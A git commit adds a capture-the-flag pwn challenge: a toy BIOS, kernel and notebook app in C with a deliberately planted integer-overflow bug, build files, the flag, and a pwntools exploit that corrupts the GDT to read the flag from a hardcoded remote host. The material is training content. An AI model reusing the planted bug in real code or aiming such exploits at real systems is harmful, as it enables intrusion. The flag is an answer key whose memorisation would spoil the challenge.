chals: add FullStackNote
This commit is contained in:
parent
bc189fd0b2
commit
50eeae396e
9 changed files with 787 additions and 0 deletions
23
FullStackNote/Dockerfile
Normal file
23
FullStackNote/Dockerfile
Normal file
|
@ -0,0 +1,23 @@
|
|||
FROM debian:trixie-slim as qemu
|
||||
|
||||
ARG DEBCONF_NOWARNINGS="yes"
|
||||
ARG DEBIAN_FRONTEND="noninteractive"
|
||||
ARG DEBCONF_NONINTERACTIVE_SEEN="true"
|
||||
|
||||
RUN apt-get update && \
|
||||
apt-get --no-install-recommends -y install \
|
||||
qemu-system-x86
|
||||
|
||||
FROM pwn.red/jail as jail
|
||||
COPY flag.txt /srv/app/
|
||||
COPY sss /srv/app/
|
||||
COPY run.sh /srv/app/run
|
||||
WORKDIR /srv/app/
|
||||
RUN dd if=flag.txt of=sss bs=1 conv=notrunc
|
||||
COPY --from=qemu / /srv/
|
||||
|
||||
# jail configuration
|
||||
ENV JAIL_TIME=30
|
||||
ENV JAIL_CPU=100
|
||||
ENV JAIL_PORT=1337
|
||||
ENV JAIL_MEM=50M
|
17
FullStackNote/Makefile
Normal file
17
FullStackNote/Makefile
Normal file
|
@ -0,0 +1,17 @@
|
|||
all: sss
|
||||
|
||||
sss.elf: single.c script.ld
|
||||
gcc -T script.ld -mno-sse -mno-sse2 -m32 -fstack-protector-explicit -nostdlib -ffreestanding -nodefaultlibs -fno-builtin -static -fno-pic -O0 -ggdb -o sss.elf single.c
|
||||
|
||||
sss: sss.elf
|
||||
objcopy -O binary -j .kernel sss.elf kernel.bin
|
||||
objcopy -O binary -j .bios -j .bios.reset_vector sss.elf bios.bin
|
||||
objcopy -O binary -j .userspace -j .userspace.data sss.elf userspace.bin
|
||||
touch sss
|
||||
truncate -s $$((8*1024*1024)) sss
|
||||
dd if=kernel.bin bs=1 of=sss seek=$$((0x800000-(0x100000000-0xfffff000))) conv=notrunc
|
||||
dd if=bios.bin bs=1 of=sss seek=$$((0x800000-(0x100000000-0xffffff00))) conv=notrunc
|
||||
dd if=userspace.bin bs=1 of=sss seek=$$((0x800000-(0x100000000-0xffffe000))) conv=notrunc
|
||||
|
||||
clean:
|
||||
rm -f sss.o sss.elf sss
|
129
FullStackNote/exploit.py
Executable file
129
FullStackNote/exploit.py
Executable file
|
@ -0,0 +1,129 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This exploit template was generated via:
|
||||
# $ pwn template ./sss.elf
|
||||
from pwn import *
|
||||
|
||||
# Set up pwntools for the correct architecture
|
||||
exe = context.binary = ELF(args.EXE or './sss.elf')
|
||||
context.log_level = 'debug'
|
||||
|
||||
# Many built-in settings can be controlled on the command-line and show up
|
||||
# in "args". For example, to dump all data sent/received, and disable ASLR
|
||||
# for all created processes...
|
||||
# ./exploit.py DEBUG NOASLR
|
||||
|
||||
|
||||
|
||||
def start(argv=[], *a, **kw):
|
||||
'''Start the exploit against the target.'''
|
||||
if args.GDB:
|
||||
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
|
||||
else:
|
||||
return process([exe.path] + argv, *a, **kw)
|
||||
|
||||
# Specify your GDB script here for debugging
|
||||
# GDB will be launched if the exploit is run via e.g.
|
||||
# ./exploit.py GDB
|
||||
gdbscript = '''
|
||||
tbreak *0x{exe.entry:x}
|
||||
continue
|
||||
'''.format(**locals())
|
||||
|
||||
#===========================================================
|
||||
# EXPLOIT GOES HERE
|
||||
#===========================================================
|
||||
# Arch: i386-32-little
|
||||
# RELRO: No RELRO
|
||||
# Stack: No canary found
|
||||
# NX: NX enabled
|
||||
# PIE: No PIE (0x1000)
|
||||
# RWX: Has RWX segments
|
||||
# Stripped: No
|
||||
# Debuginfo: Yes
|
||||
|
||||
def create_seg_descriptor(base, limi):
|
||||
seg = p16((limi >> 12) & 0xffff) #limit low
|
||||
seg += p16(base & 0xffff) #base low
|
||||
seg += p8((base >> 16) & 0xff) #base mid
|
||||
stype = 2
|
||||
s = 1
|
||||
dpl = 0
|
||||
p = 1
|
||||
seg += p8(stype | (s << 4) | (dpl << 5) | (p << 7)) #flags
|
||||
g = 1
|
||||
db = 1
|
||||
seg += p8(limi >> 16 & 0xf | g << 7 | db << 6) #flags
|
||||
seg += p8(base >> 24) #base high
|
||||
return seg
|
||||
gdt = 0x1000000
|
||||
kds_base = 0x1000000
|
||||
utok_add = 0x100000
|
||||
bytes_read = 127
|
||||
ucs_off = 0x10
|
||||
val = gdt - kds_base - utok_add - bytes_read + ucs_off
|
||||
buf_read = 0x4f2c
|
||||
flag_pos = 0x500000 * 4
|
||||
if (val < 0):
|
||||
val = val + 2**32
|
||||
|
||||
retaddr = 0x4e90
|
||||
ds_base = 0x4ef4 + 0x1100000 - retaddr
|
||||
#io = start()
|
||||
#io = process('./run.sh')
|
||||
#io = remote('localhost', 1337)
|
||||
io = remote('37.27.204.218', 1337)
|
||||
io.recvuntil('>')
|
||||
io.sendline('1')
|
||||
io.recvuntil('note?')
|
||||
# io.send('A'*56)
|
||||
# io.send(p32(flag_pos - ds_base))
|
||||
# io.send(p32(exe.symbols['userspace_write']))
|
||||
# io.sendline(cyclic(98-56-8))
|
||||
io.sendline('D'*98)
|
||||
|
||||
io.recvuntil('>')
|
||||
io.sendline('1')
|
||||
io.recvuntil('note?')
|
||||
io.sendline('B'*98)
|
||||
|
||||
io.recvuntil('>')
|
||||
io.sendline('1')
|
||||
io.recvuntil('note?')
|
||||
|
||||
|
||||
io.send('CCCC')
|
||||
io.send(p32(val))
|
||||
# io.send('F'*56)
|
||||
# io.send(p32(0x10))
|
||||
# io.send(p32(flag_pos - ds_base))
|
||||
# io.send(p32(exe.symbols['userspace_write']))
|
||||
# io.send(b'G'*4)
|
||||
# io.send(p32(0x10))
|
||||
# io.send(p32(flag_pos - ds_base))
|
||||
# io.sendline(cyclic(119-56-12-12))
|
||||
io.sendline(cyclic(119))
|
||||
io.recvuntil('>')
|
||||
io.sendline('3')
|
||||
io.recvuntil('remarks')
|
||||
kds = create_seg_descriptor(flag_pos - 0x100000 - buf_read, 0xffffffff)
|
||||
ds = create_seg_descriptor(ds_base, 0xfffff)
|
||||
io.sendline(kds)
|
||||
# io.send(p32(val))
|
||||
# io.sendline(cyclic(128 - 1 - 4))
|
||||
# io.recvuntil('Inserisci la tua nota:')
|
||||
# io.sendline(cyclic(128))
|
||||
# io.send('2')
|
||||
# data = io.recvuntil('Esci')
|
||||
# print(data)
|
||||
# shellcode = asm(shellcraft.sh())
|
||||
# payload = fit({
|
||||
# 32: 0xdeadbeef,
|
||||
# 'iaaa': [1, 2, 'Hello', 3]
|
||||
# }, length=128)
|
||||
# io.send(payload)
|
||||
# flag = io.recv(...)
|
||||
# log.success(flag)
|
||||
|
||||
io.interactive()
|
||||
|
1
FullStackNote/flag.txt
Normal file
1
FullStackNote/flag.txt
Normal file
|
@ -0,0 +1 @@
|
|||
HoD2024{n3w_st@ck_old_tr!cks}
|
13
FullStackNote/run.sh
Executable file
13
FullStackNote/run.sh
Executable file
|
@ -0,0 +1,13 @@
|
|||
#!/bin/sh
|
||||
MEM_SIZE_MB=25
|
||||
|
||||
#run qemu with sss as BIOS and uart redirected to stdin
|
||||
qemu-system-i386 \
|
||||
-m ${MEM_SIZE_MB}M \
|
||||
-machine q35 \
|
||||
-bios sss \
|
||||
-serial stdio \
|
||||
-nographic \
|
||||
-monitor none
|
||||
|
||||
|
57
FullStackNote/script.ld
Normal file
57
FullStackNote/script.ld
Normal file
|
@ -0,0 +1,57 @@
|
|||
FLASH_SIZE = 8 * 1024 * 1024;
|
||||
FLASH_START = 0x100000000 - FLASH_SIZE;
|
||||
MEM_SIZE = 128 * 1024 * 1024;
|
||||
RESET_VECTOR = 0xfffffff0;
|
||||
BIOS = 0xffffff00;
|
||||
KERNEL = 0xfffff000;
|
||||
USERSPACE = 0xffffe000;
|
||||
OS_LOAD_ADDR = 0x10000;
|
||||
|
||||
|
||||
OUTPUT_FORMAT("elf32-i386")
|
||||
|
||||
MEMORY
|
||||
{
|
||||
flash : ORIGIN = FLASH_START, LENGTH = FLASH_SIZE
|
||||
ram : ORIGIN = 0x0, LENGTH = MEM_SIZE
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
.kernel OS_LOAD_ADDR : AT (KERNEL) {
|
||||
_kernel_start = LOADADDR(.kernel);
|
||||
KEEP(*(.kernel*))
|
||||
KEEP(*(.kernel.*))
|
||||
_kernel_end = LOADADDR(.kernel) + SIZEOF(.kernel);
|
||||
}
|
||||
|
||||
.userspace 0x0 : AT (USERSPACE) {
|
||||
_userspace_start = USERSPACE;
|
||||
KEEP(*(.userspace.text))
|
||||
_userspace_end = USERSPACE + SIZEOF(.userspace);
|
||||
}
|
||||
|
||||
.userspace.data 0x1000 : AT (USERSPACE + SIZEOF(.userspace)) {
|
||||
_userspace_data_start = LOADADDR(.userspace.data);
|
||||
KEEP(*(.rodata))
|
||||
_userspace_data_end = LOADADDR(.userspace.data) + SIZEOF(.userspace.data);
|
||||
}
|
||||
|
||||
.bios BIOS : {
|
||||
KEEP(*(.bios.gdt))
|
||||
KEEP(*(.bios.gdt_ptr))
|
||||
KEEP(*(.bios.text))
|
||||
KEEP(*(.bios.jmp_pm))
|
||||
} > flash
|
||||
|
||||
.bios.reset_vector RESET_VECTOR : {
|
||||
KEEP(*(.bios.reset_vector))
|
||||
FILL(0xab);
|
||||
. = ABSOLUTE(0x100000000);
|
||||
foo = .;
|
||||
} > flash
|
||||
|
||||
/DISCARD/ : {
|
||||
*(.eh_frame) *(.comment) *(.note) *(.note.*) *(.note_*)
|
||||
}
|
||||
}
|
547
FullStackNote/single.c
Normal file
547
FullStackNote/single.c
Normal file
|
@ -0,0 +1,547 @@
|
|||
/* BIOS-OS-APP note - a BIOS, an OS and an app to take a note */
|
||||
typedef unsigned char u8;
|
||||
typedef unsigned short u16;
|
||||
typedef unsigned int u32;
|
||||
|
||||
#define GDT_CODE 0xB
|
||||
#define GDT_DATA 0x2
|
||||
#define GDT_TSS 0x9
|
||||
#define GDT_CALL_GATE 0xC
|
||||
#define FLAG_FLASH_ADDR 0xff800000
|
||||
#define FLAG_ADDRESS 0x1400000
|
||||
#define STACK_START 0x1000
|
||||
#define USER_STACK 0x5000
|
||||
#define GDT_BASE 0x1000000
|
||||
#define TSS_BASE 0x1000100
|
||||
#define KERNEL_CODE_BASE 0x0
|
||||
#define KERNEL_CODE_LIMIT 0x200000
|
||||
#define KERNEL_DATA_BASE 0x1000000
|
||||
#define KERNEL_DATA_LIMIT 0x200000
|
||||
#define USER_CODE_BASE 0x200000
|
||||
#define USER_CODE_LIMIT 0x100000
|
||||
#define USER_DATA_BASE 0x1100000
|
||||
#define USER_DATA_LIMIT 0x100000
|
||||
#define USER_RODATA (USER_DATA_BASE + 0x1000)
|
||||
#define KERNEL_CS 0x08
|
||||
#define KERNEL_DS 0x10
|
||||
#define USER_CS 0x18
|
||||
#define USER_DS 0x20
|
||||
#define TSS_SEG 0x28
|
||||
#define READ_GATE 0x30
|
||||
#define WRITE_GATE 0x38
|
||||
#define EXIT_GATE 0x40
|
||||
#define UART_BASE 0x3F8
|
||||
#define UART_THR (UART_BASE + 0)
|
||||
#define UART_RBR (UART_BASE + 0)
|
||||
#define UART_LCR (UART_BASE + 3)
|
||||
#define UART_DLL (UART_BASE + 0)
|
||||
#define UART_DLH (UART_BASE + 1)
|
||||
#define UART_LSR (UART_BASE + 5)
|
||||
#define UART_FCR (UART_BASE + 2)
|
||||
#define BOOT_CS 0x08
|
||||
#define BOOT_DS 0x10
|
||||
#define KERNEL_LOAD_ADDR 0x10000
|
||||
|
||||
#define SEGMENT_INIT(base, limit, _type, _s, _dpl) \
|
||||
{ \
|
||||
.limit_low = (limit) & 0xFFFF, .base_low = (base) & 0xFFFF, \
|
||||
.base_mid = ((base) >> 16) & 0xFF, .type = (_type), .s = (_s), \
|
||||
.dpl = (_dpl), .p = 1, .limit_high = ((limit) >> 16) & 0x0F, .avl = 0, \
|
||||
.rsvd = 0, .db = 1, .g = 1, .base_high = ((base) >> 24) & 0xFF \
|
||||
}
|
||||
|
||||
#define IO_WRITE(byte, port) \
|
||||
asm volatile("outb %b0, %1" : : "a"(byte), "d"(port))
|
||||
|
||||
#define IO_READ(port, byte) \
|
||||
asm volatile("inb %1, %0" : "=a"(byte) : "d"(port))
|
||||
|
||||
#define IO_WRITE16(port, word) \
|
||||
asm volatile("outw %w0, %w1" : : "a"(word), "d"(port))
|
||||
|
||||
#define APP_ADDR_TO_KERNEL_ADDR(X) ((u8*)X + 0x100000)
|
||||
|
||||
extern u8 _kernel_start[];
|
||||
extern u8 _kernel_end[];
|
||||
extern u8 _userspace_start[];
|
||||
extern u8 _userspace_end[];
|
||||
extern u8 _userspace_data_start[];
|
||||
extern u8 _userspace_data_end[];
|
||||
|
||||
struct gdt_seg {
|
||||
u16 limit_low;
|
||||
u16 base_low;
|
||||
u8 base_mid;
|
||||
u8 type : 4;
|
||||
u8 s : 1;
|
||||
u8 dpl : 2;
|
||||
u8 p : 1;
|
||||
u8 limit_high : 4;
|
||||
u8 avl : 1;
|
||||
u8 rsvd : 1;
|
||||
u8 db : 1;
|
||||
u8 g : 1;
|
||||
u8 base_high;
|
||||
} __attribute__((packed));
|
||||
|
||||
struct gdt_ptr {
|
||||
u16 limit;
|
||||
u32 base;
|
||||
} __attribute__((packed));
|
||||
|
||||
struct tss_desc {
|
||||
u32 r1;
|
||||
u32 esp0;
|
||||
u32 ss0;
|
||||
u32 r2[2];
|
||||
u32 esp1;
|
||||
u32 ss1;
|
||||
u32 r3[2];
|
||||
u32 esp2;
|
||||
u32 ss2;
|
||||
u32 r4[2];
|
||||
u8 unused[76];
|
||||
} __attribute__((packed));
|
||||
|
||||
struct callgate_desc {
|
||||
u16 offset_low;
|
||||
u16 selector;
|
||||
u8 param_count;
|
||||
u8 type : 4;
|
||||
u8 zero : 1;
|
||||
u8 dpl : 2;
|
||||
u8 p : 1;
|
||||
u16 offset_high;
|
||||
} __attribute__((packed));
|
||||
|
||||
|
||||
__attribute__((section(".bios.gdt"))) struct gdt_seg bios_gdt[] = {
|
||||
SEGMENT_INIT(0x0, 0x0, 0x0, 0, 0),
|
||||
SEGMENT_INIT(0x0, 0xFFFFFFFF, 0xB, 1, 0),
|
||||
SEGMENT_INIT(0x0, 0xFFFFFFFF, 0x2, 1, 0),
|
||||
};
|
||||
|
||||
__attribute__((section(".bios.gdt_ptr")))
|
||||
struct gdt_ptr gdtr = {
|
||||
.limit = sizeof(bios_gdt) - 1,
|
||||
.base = 0xffffff00,
|
||||
};
|
||||
|
||||
__attribute__((section(".bios.text")))
|
||||
void bios_uart_init(void) {
|
||||
/* setup the UART0 with baud 115200 8N1 */
|
||||
IO_WRITE(0x80, UART_LCR);
|
||||
IO_WRITE(0x01, UART_DLL);
|
||||
IO_WRITE(0x00, UART_DLH);
|
||||
IO_WRITE(0x03, UART_LCR);
|
||||
IO_WRITE(0xC7, UART_FCR);
|
||||
}
|
||||
|
||||
void kernel_run(void);
|
||||
|
||||
__attribute__((section(".bios.text")))
|
||||
void bios_start(void) {
|
||||
u8 *os, *os_origin;
|
||||
u32 os_size;
|
||||
u32 i;
|
||||
|
||||
bios_uart_init();
|
||||
os = (u8*)KERNEL_LOAD_ADDR;
|
||||
os_origin = _kernel_start;
|
||||
os_size = _kernel_end - _kernel_start;
|
||||
for (i = 0; i < os_size; i++) {
|
||||
os[i] = os_origin[i];
|
||||
}
|
||||
kernel_run();
|
||||
}
|
||||
|
||||
__attribute__((section(".bios.jmp_pm"), naked))
|
||||
void bios_enable_protected(void) {
|
||||
asm volatile(
|
||||
".code16\n"
|
||||
"cli\n"
|
||||
"mov %[GDT], %%bx\n"
|
||||
"lgdtl %%cs:(%%bx)\n"
|
||||
"mov %%cr0, %%eax\n"
|
||||
"or $0x01, %%eax\n"
|
||||
"mov %%eax, %%cr0\n"
|
||||
"ljmpl %[CODE_SEL],$1f\n"
|
||||
"1:\n"
|
||||
".code32\n"
|
||||
"mov %[DATA_SEL], %%ax\n"
|
||||
"movw %%ax, %%ds\n"
|
||||
"movw %%ax, %%ss\n"
|
||||
"mov %[STACK], %%esp\n"
|
||||
"jmp bios_start\n"
|
||||
:
|
||||
: [GDT] "i"(&gdtr), [STACK] "i"(STACK_START), [DATA_SEL] "i"(BOOT_DS), [CODE_SEL] "i"(BOOT_CS)
|
||||
: "eax");
|
||||
}
|
||||
|
||||
/* where everything starts */
|
||||
__attribute__((section(".bios.reset_vector"), naked))
|
||||
void reset_vector(void) {
|
||||
asm volatile(".code16\n"
|
||||
"jmp bios_enable_protected\n"
|
||||
".code32\n");
|
||||
}
|
||||
|
||||
__attribute__((section(".kernel.text")))
|
||||
void kernel_uart_tx(u8 byte) {
|
||||
u8 status;
|
||||
do {
|
||||
IO_READ(UART_LSR, status);
|
||||
} while ((status & 0x20) == 0);
|
||||
IO_WRITE(byte, UART_THR);
|
||||
}
|
||||
|
||||
__attribute__((section(".kernel.text")))
|
||||
u8 kernel_uart_rx(void) {
|
||||
u8 status;
|
||||
do {
|
||||
IO_READ(UART_LSR, status);
|
||||
} while ((status & 0x01) == 0);
|
||||
IO_READ(UART_RBR, status);
|
||||
return status;
|
||||
}
|
||||
|
||||
__attribute__((section(".kernel.text")))
|
||||
void kernel_uart_write(const char *buf, u32 len) {
|
||||
u8 *ubuf;
|
||||
ubuf = APP_ADDR_TO_KERNEL_ADDR(buf);
|
||||
while (len--) {
|
||||
kernel_uart_tx(*ubuf++);
|
||||
}
|
||||
}
|
||||
|
||||
__attribute__((section(".kernel.text")))
|
||||
int kernel_uart_read(char *buf, u32 buf_size) {
|
||||
u8 *ubuf;
|
||||
char c;
|
||||
int i = 0;
|
||||
ubuf = APP_ADDR_TO_KERNEL_ADDR(buf);
|
||||
while (i < buf_size) {
|
||||
c = kernel_uart_rx();
|
||||
if (c == '\n' || c == '\r')
|
||||
break;
|
||||
ubuf[i] = c;
|
||||
i++;
|
||||
}
|
||||
return i;
|
||||
}
|
||||
|
||||
__attribute__((section(".kernel.text")))
|
||||
void kernel_write_gdt_segment(struct gdt_seg *s, u32 base, u32 limit, u8 type, u8 dpl) {
|
||||
limit = limit >> 12;
|
||||
s->limit_low = limit & 0xFFFF;
|
||||
s->limit_high = (limit >> 16) & 0x0F;
|
||||
s->base_low = base & 0xFFFF;
|
||||
s->base_mid = (base >> 16) & 0xFF;
|
||||
s->base_high = (base >> 24) & 0xFF;
|
||||
s->type = type;
|
||||
s->dpl = dpl;
|
||||
s->p = s->db = s->g = 1;
|
||||
s->s = (type == GDT_TSS) ? 0 : 1;
|
||||
s->avl = s->rsvd = 0;
|
||||
}
|
||||
|
||||
__attribute__((section(".kernel.text")))
|
||||
void kernel_memset(void *dest, u8 byte, int len) {
|
||||
u8 *p = (u8 *)dest;
|
||||
while (len--) {
|
||||
*p++ = byte;
|
||||
}
|
||||
}
|
||||
|
||||
__attribute__((section(".kernel.text"), naked))
|
||||
void sys_read() {
|
||||
asm volatile("pushl %%ebx\n"
|
||||
"pushl %%eax\n"
|
||||
"mov %[KDATA_SEL], %%ax\n"
|
||||
"mov %%ax, %%ds\n"
|
||||
"mov %%ax, %%es\n"
|
||||
"call kernel_uart_read\n"
|
||||
"mov %%eax, %%ebx\n"
|
||||
"mov %[UDATA_SEL], %%ax\n"
|
||||
"mov %%ax, %%ds\n"
|
||||
"mov %%ax, %%es\n"
|
||||
"mov %%ebx, %%eax\n"
|
||||
"add $8, %%esp\n"
|
||||
"retfl\n"
|
||||
:
|
||||
: [KDATA_SEL] "i" (KERNEL_DS), [UDATA_SEL] "i" (USER_DS)
|
||||
: "eax", "ebx");
|
||||
}
|
||||
|
||||
__attribute__((section(".kernel.text"), naked))
|
||||
void sys_write() {
|
||||
asm volatile("pushl %%ebx\n"
|
||||
"pushl %%eax\n"
|
||||
"mov %[KDATA_SEL], %%ax\n"
|
||||
"mov %%ax, %%ds\n"
|
||||
"mov %%ax, %%es\n"
|
||||
"call kernel_uart_write\n"
|
||||
"mov %%eax, %%ebx\n"
|
||||
"mov %[UDATA_SEL], %%ax\n"
|
||||
"mov %%ax, %%ds\n"
|
||||
"mov %%ax, %%es\n"
|
||||
"mov %%ebx, %%eax\n"
|
||||
"add $8, %%esp\n"
|
||||
"retfl\n"
|
||||
:
|
||||
: [KDATA_SEL] "i" (KERNEL_DS), [UDATA_SEL] "i" (USER_DS)
|
||||
: "eax", "ebx");
|
||||
}
|
||||
|
||||
__attribute__((section(".kernel.text"), naked))
|
||||
void sys_exit() {
|
||||
asm volatile("hlt\n");
|
||||
}
|
||||
|
||||
__attribute__((section(".kernel.text")))
|
||||
void kernel_load_application(void)
|
||||
{
|
||||
u8 *dst, *start;
|
||||
u32 size;
|
||||
u32 i;
|
||||
|
||||
dst = (u8*)USER_CODE_BASE;
|
||||
start = _userspace_start;
|
||||
size = _userspace_end - _userspace_start;
|
||||
for (i = 0; i < size; i++) {
|
||||
dst[i] = start[i];
|
||||
}
|
||||
|
||||
dst = (u8*)USER_RODATA;
|
||||
start = _userspace_data_start;
|
||||
size = _userspace_data_end - _userspace_start;
|
||||
for (i = 0; i < size; i++) {
|
||||
dst[i] = start[i];
|
||||
}
|
||||
}
|
||||
|
||||
/* we need isolation! let's kernel and user application have different memory segments */
|
||||
__attribute__((section(".kernel.text")))
|
||||
struct gdt_seg *kernel_setup_segmentation(struct gdt_seg *gdt)
|
||||
{
|
||||
|
||||
/* null segment */
|
||||
kernel_memset(gdt, 0, sizeof(struct gdt_seg));
|
||||
gdt++;
|
||||
kernel_write_gdt_segment(gdt, KERNEL_CODE_BASE, KERNEL_CODE_LIMIT, GDT_CODE, 0);
|
||||
gdt++;
|
||||
kernel_write_gdt_segment(gdt,KERNEL_DATA_BASE, KERNEL_DATA_LIMIT, GDT_DATA, 0);
|
||||
gdt++;
|
||||
kernel_write_gdt_segment(gdt, USER_CODE_BASE, USER_CODE_LIMIT, GDT_CODE, 3);
|
||||
gdt++;
|
||||
kernel_write_gdt_segment(gdt, USER_DATA_BASE, USER_DATA_LIMIT, GDT_DATA, 3);
|
||||
gdt++;
|
||||
|
||||
return gdt;
|
||||
}
|
||||
|
||||
__attribute__((section(".kernel.text")))
|
||||
struct gdt_seg *kernel_setup_tss(struct gdt_seg *gdt)
|
||||
{
|
||||
struct tss_desc *tss;
|
||||
|
||||
tss = (struct tss_desc *)TSS_BASE;
|
||||
kernel_memset((void *)tss, 0, sizeof(struct tss_desc));
|
||||
tss->ss0 = KERNEL_DS;
|
||||
tss->esp0 = STACK_START;
|
||||
tss->ss2 = USER_DS;
|
||||
tss->esp2 = USER_STACK;
|
||||
|
||||
kernel_write_gdt_segment(gdt, TSS_BASE, sizeof(struct tss_desc), GDT_TSS, 0);
|
||||
gdt++;
|
||||
|
||||
return gdt;
|
||||
}
|
||||
|
||||
__attribute__((section(".kernel.text")))
|
||||
void kernel_write_callgate_segment(struct gdt_seg *gdt, u32 syscall)
|
||||
{
|
||||
struct callgate_desc *call;
|
||||
call = (struct callgate_desc *)gdt;
|
||||
call->offset_low = syscall & 0xFFFF;
|
||||
call->offset_high = syscall >> 16;
|
||||
call->selector = KERNEL_CS;
|
||||
call->param_count = 0x0;
|
||||
call->type = GDT_CALL_GATE;
|
||||
call->dpl = 3;
|
||||
call->p = 1;
|
||||
}
|
||||
|
||||
__attribute__((section(".kernel.text")))
|
||||
struct gdt_seg *kernel_setup_syscalls(struct gdt_seg *gdt)
|
||||
{
|
||||
struct callgate_desc *call;
|
||||
|
||||
/* call gate: read 0x30 */
|
||||
kernel_write_callgate_segment(gdt, (u32)sys_read);
|
||||
gdt++;
|
||||
|
||||
/* call gate: write 0x38 */
|
||||
kernel_write_callgate_segment(gdt, (u32)sys_write);
|
||||
gdt++;
|
||||
|
||||
/* call gate: write 0x40 */
|
||||
kernel_write_callgate_segment(gdt, (u32)sys_exit);
|
||||
gdt++;
|
||||
|
||||
return gdt;
|
||||
}
|
||||
|
||||
__attribute__((section(".kernel.text")))
|
||||
void kernel_load_gdt_and_run_application(struct gdt_seg *gdt)
|
||||
{
|
||||
struct gdt_ptr gdtr;
|
||||
gdtr.limit = (u32)gdt - GDT_BASE - 1;
|
||||
gdtr.base = GDT_BASE;
|
||||
asm volatile("lgdt %[GDT]\n"
|
||||
"mov %[TSS], %%ax\n"
|
||||
"ltr %%ax\n"
|
||||
"mov %[DATA_SEL], %%ax\n"
|
||||
"movw %%ax, %%ds\n"
|
||||
"movw %%ax, %%es\n"
|
||||
"pushl %[STACK_SEL]\n"
|
||||
"pushl %[U_STACK]\n"
|
||||
"pushl %[CODE_SEL]\n"
|
||||
"pushl $user_app\n"
|
||||
"retfl\n"
|
||||
:
|
||||
: [GDT] "m"(gdtr), [U_STACK] "i"(USER_STACK), [STACK_SEL] "i"(USER_DS | 0x3), [CODE_SEL] "i"(USER_CS | 0x3), [DATA_SEL] "i"(USER_DS), [TSS] "i"(TSS_SEG)
|
||||
: "eax");
|
||||
}
|
||||
|
||||
__attribute__((section(".kernel.text")))
|
||||
void copy_flag(void) {
|
||||
char *flag_dst = (char*)(FLAG_ADDRESS);
|
||||
char *flag_src = (char*)FLAG_FLASH_ADDR;
|
||||
while (*flag_src) {
|
||||
*flag_dst++ = *flag_src++;
|
||||
}
|
||||
}
|
||||
__attribute__((section(".kernel.text")))
|
||||
void kernel_run(void) {
|
||||
struct gdt_seg *gdt;
|
||||
|
||||
copy_flag();
|
||||
kernel_load_application();
|
||||
gdt = (struct gdt_seg *)GDT_BASE;
|
||||
gdt = kernel_setup_segmentation(gdt);
|
||||
gdt = kernel_setup_tss(gdt);
|
||||
gdt = kernel_setup_syscalls(gdt);
|
||||
kernel_load_gdt_and_run_application(gdt);
|
||||
}
|
||||
|
||||
__attribute__((section(".userspace.text")))
|
||||
int userspace_read(char *buf, int nbytes) {
|
||||
int len;
|
||||
asm volatile("mov %[_buf], %%eax\n"
|
||||
"mov %[_nbyte], %%ebx\n"
|
||||
"call %[GATE],$0x0\n"
|
||||
"mov %%eax, %[_len]\n"
|
||||
: [_len] "=m"(len)
|
||||
: [_buf] "m"(buf), [_nbyte] "m"(nbytes), [GATE] "i"(READ_GATE)
|
||||
: "eax", "ebx");
|
||||
return len;
|
||||
}
|
||||
__attribute__((section(".userspace.text")))
|
||||
void userspace_exit() {
|
||||
asm volatile("call %[GATE],$0x0\n"
|
||||
:
|
||||
:[GATE] "i"(EXIT_GATE)
|
||||
:);
|
||||
}
|
||||
|
||||
__attribute__((section(".userspace.text")))
|
||||
void userspace_write(const char *buf, int nbytes) {
|
||||
/* my stack my call convention */
|
||||
asm volatile("mov %[_buf], %%eax\n"
|
||||
"mov %[_nbyte], %%ebx\n"
|
||||
"call %[GATE],$0x0\n"
|
||||
:
|
||||
: [_buf] "m"(buf), [_nbyte] "m"(nbytes), [GATE] "i"(WRITE_GATE)
|
||||
: "eax", "ebx");
|
||||
}
|
||||
|
||||
__attribute__((section(".userspace.text")))
|
||||
int strlen(const char *str) {
|
||||
int len = 0;
|
||||
while (*str++) {
|
||||
len++;
|
||||
}
|
||||
return len;
|
||||
}
|
||||
|
||||
__attribute__((section(".userspace.text")))
|
||||
void puts(const char *str) {
|
||||
userspace_write(str, strlen(str));
|
||||
}
|
||||
|
||||
__attribute__((section(".userspace.text")))
|
||||
void memcpy(char *dst, const char *src, int len) {
|
||||
while (len--) {
|
||||
*dst++ = *src++;
|
||||
}
|
||||
}
|
||||
|
||||
__attribute__((section(".userspace.text")))
|
||||
void print_menu(void)
|
||||
{
|
||||
puts("1. Write note\n");
|
||||
puts("2. Read note\n");
|
||||
puts("3. Write final remarks\n");
|
||||
puts(">\n");
|
||||
}
|
||||
|
||||
__attribute__((section(".userspace.text")))
|
||||
void user_app(void) {
|
||||
struct my_notebook {
|
||||
char data[200];
|
||||
char *ptr;
|
||||
u8 used;
|
||||
} notebook;
|
||||
notebook.ptr = notebook.data;
|
||||
notebook.used = 0;
|
||||
char buf[128];
|
||||
u8 bytes_read;
|
||||
u8 new_size;
|
||||
|
||||
puts("HoD Notebook Taker!\n");
|
||||
while (1) {
|
||||
print_menu();
|
||||
bytes_read = userspace_read(buf, 2);
|
||||
if (bytes_read == 0) {
|
||||
continue;
|
||||
}
|
||||
switch (buf[0]) {
|
||||
case '1':
|
||||
puts("what to note?\n");
|
||||
bytes_read = userspace_read(buf, sizeof(buf));
|
||||
new_size = notebook.used + bytes_read;
|
||||
if (new_size >= sizeof(notebook.data)) {
|
||||
puts("No space left\n");
|
||||
break;
|
||||
}
|
||||
memcpy(notebook.ptr, buf, bytes_read);
|
||||
notebook.ptr += bytes_read;
|
||||
notebook.used += bytes_read;
|
||||
break;
|
||||
case '2':
|
||||
puts("Read note\n");
|
||||
userspace_write(notebook.data, notebook.used);
|
||||
puts("\n");
|
||||
break;
|
||||
case '3':
|
||||
puts("Write final remarks\n");
|
||||
bytes_read = userspace_read(notebook.ptr, sizeof(notebook.data) - notebook.used);
|
||||
notebook.used += bytes_read;
|
||||
puts("Here is your note:\n");
|
||||
userspace_write(notebook.data, notebook.used);
|
||||
puts("\nexit\n");
|
||||
userspace_exit();
|
||||
}
|
||||
}
|
||||
}
|
BIN
FullStackNote/sss
Normal file
BIN
FullStackNote/sss
Normal file
Binary file not shown.
BIN
FullStackNote/sss.elf
Executable file
BIN
FullStackNote/sss.elf
Executable file
Binary file not shown.
Loading…
Reference in a new issue